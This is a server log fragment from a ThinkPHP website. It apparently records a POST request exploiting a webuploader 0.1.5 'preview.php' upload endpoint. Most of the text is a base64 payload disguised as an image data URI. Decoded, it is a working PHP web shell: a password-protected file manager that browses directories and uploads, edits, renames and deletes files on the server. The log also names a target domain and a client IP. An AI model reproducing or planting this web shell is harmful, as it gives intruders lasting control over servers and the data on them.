'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:51+08:00 ] 116.213.36.234 POST www.51tianwei.com/web/dist/static/webuploader/0.1.5/server/preview.php [运行时间:0.002667s] [吞吐率:374.96req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 